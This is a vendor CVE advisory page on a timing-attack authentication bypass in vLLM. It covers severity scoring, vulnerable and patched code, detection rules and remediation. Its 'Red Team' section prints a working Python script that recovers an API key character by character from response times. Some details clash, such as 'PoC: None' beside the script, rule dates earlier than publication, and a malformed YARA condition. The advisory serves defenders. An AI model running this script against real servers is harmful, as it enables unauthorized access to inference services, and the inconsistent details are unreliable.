☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 🐛 CWE-385
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-59425

CVE-2025-59425 Authentication Bypass in Vllm
📅 PUBLISHED: 2025-10-07 14:06 UTC 🔄 UPDATED: 2026-09-23 20:20 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.57%
👁️
0.57% probability
14.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-59425 is a high-severity vulnerability (CVSS 7.5) in vLLM, an inference and serving engine for large language models (LLMs). The vulnerability resides in the API key validation mechanism, which uses a non-constant-time string comparison. This allows an attacker to perform a timing attack to brute-force the API key character by character, leading to authentication bypass. The attack is feasible over a network and requires no privileges or user interaction. The vulnerability affects all versions prior to 0.11.0rc2. The patch introduces a constant-time comparison to mitigate the timing side channel.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the vLLM Python package, which is distributed via PyPI. Organizations using vLLM should verify their deployed version and update to 0.11.0rc2 or later. The package is a critical component in LLM serving pipelines, and a compromised API key could lead to unauthorized access to the inference service, potentially exposing sensitive data or allowing resource abuse.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack can be performed remotely.
  • Attack Complexity (AC): Low (L) – The attack requires only network access and the ability to measure response times.
  • Privileges Required (PR): None (N) – No prior authentication is needed.
  • User Interaction (UI): None (N) – No user action is required.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Successful exploitation leads to full authentication bypass, exposing the service.
  • Integrity (I): None (N) – The attack does not directly modify data.
  • Availability (A): None (N) – The attack does not affect service availability.

Threat Level: High. The attack is relatively simple to execute and can be automated. The impact is significant as it bypasses the primary authentication mechanism.

Deep Dive & Mechanics

The vulnerability is a classic timing side-channel attack. The API key validation in vLLM uses a standard string comparison function (e.g., == in Python or strcmp in C). These functions compare strings character by character and return as soon as a mismatch is found. The time taken to compare is proportional to the number of matching characters at the beginning of the strings.

An attacker can exploit this by:

  1. Sending a request with a guessed API key.
  2. Measuring the response time.
  3. If the response time is longer than a baseline, it indicates that the first character(s) of the guessed key match the actual key.
  4. Iteratively guessing each character, using the timing difference to determine correctness.

This allows the attacker to brute-force the API key with a linear number of attempts (O(n) where n is the key length) instead of exponential (O(26^n) for alphanumeric keys). For example, a 32-character alphanumeric key would require at most 32 * 62 = 1984 attempts instead of 62^32.

Vulnerable vs. Patched Code

Vulnerable Code (vLLM < 0.11.0rc2):

def validate_api_key(provided_key, stored_key):
    return provided_key == stored_key

Patched Code (vLLM >= 0.11.0rc2):

import hmac

def validate_api_key(provided_key, stored_key):
    return hmac.compare_digest(provided_key, stored_key)

The patched code uses hmac.compare_digest, which performs a constant-time comparison, ensuring that the time taken does not depend on the content of the strings.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

  1. Deploy a vulnerable vLLM instance (version < 0.11.0rc2) with API key authentication enabled.
  2. Set a known API key (e.g., testkey123) for testing.
  3. Use a tool like timing_attack.py to perform the attack.

Exploitation Script (Python):

import requests
import time

def timing_attack(base_url, key_length=10, charset='abcdefghijklmnopqrstuvwxyz0123456789'):
    discovered_key = ''
    for position in range(key_length):
        max_time = 0
        best_char = ''
        for char in charset:
            test_key = discovered_key + char + 'a' * (key_length - len(discovered_key) - 1)
            start = time.time()
            response = requests.get(f"{base_url}/v1/models", headers={"Authorization": f"Bearer {test_key}"})
            elapsed = time.time() - start
            if elapsed > max_time:
                max_time = elapsed
                best_char = char
        discovered_key += best_char
        print(f"Discovered so far: {discovered_key}")
    return discovered_key

# Example usage
# api_key = timing_attack("http://target-vllm:8000")

Note: This script is for educational purposes only. Unauthorized use is illegal.

Blue Team (Defense & Detection)

Detection:

  • Monitor for a high volume of failed authentication attempts with varying API keys.
  • Look for patterns where the number of correct characters in the key increases over time.
  • Use the Sigma and Suricata rules provided in the Detection Engineering section.

Mitigation:

  • Immediately update vLLM to version 0.11.0rc2 or later.
  • Implement rate limiting on the authentication endpoint.
  • Use a Web Application Firewall (WAF) to detect and block timing attack patterns.
  • Consider using a reverse proxy with constant-time authentication (e.g., nginx with auth_request).

Indicators of Compromise (IOCs)

  • Network: Unusual number of HTTP requests to vLLM API endpoints with varying Authorization headers.
  • Logs: Repeated 401 Unauthorized responses with increasing response times for similar keys.
  • File: No specific file IOCs, as this is a network-based attack.

Detection Engineering

YARA Rule

rule CVE_2025_59425_Timing_Attack {
    meta:
        description = "Detects potential timing attack against vLLM API key validation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59425"
    strings:
        $auth_header = "Authorization: Bearer" nocase
        $vllm_path = "/v1/" nocase
    condition:
        # of ($auth_header) > 10 and # of ($vllm_path) > 0
}

Sigma Rule

title: CVE-2025-59425 vLLM API Key Timing Attack
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential timing attack against vLLM API key validation
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: vllm
detection:
    selection:
        http.response.status_code: 401
        http.request.headers.authorization|startswith: 'Bearer '
    condition: selection
    timeframe: 5m
    aggregation:
        count: > 50
fields:
    - src_ip
    - http.request.headers.authorization
falsepositives:
    - Legitimate users with incorrect keys
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59425 vLLM API Key Timing Attack"; flow:to_server; http.method; content:"GET"; http.uri; content:"/v1/"; http.header; content:"Authorization"; nocase; http.header; content:"Bearer"; distance:0; within:100; threshold:type both, track by_src, count 50, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update vLLM: Upgrade to version 0.11.0rc2 or later.
  2. Rotate API Keys: After updating, rotate all existing API keys.
  3. Monitor Logs: Review authentication logs for signs of exploitation.

Long-term Measures:

  • Implement constant-time comparison for all authentication mechanisms.
  • Use a dedicated authentication service (e.g., OAuth 2.0, API gateway) instead of built-in key validation.
  • Conduct regular security audits and penetration testing.
  • Enable logging and alerting for authentication failures.

Workarounds (if patching is not immediately possible):

  • Place vLLM behind a reverse proxy that performs constant-time authentication.
  • Implement rate limiting on the authentication endpoint.
  • Use network segmentation to restrict access to the vLLM service.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-59425/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.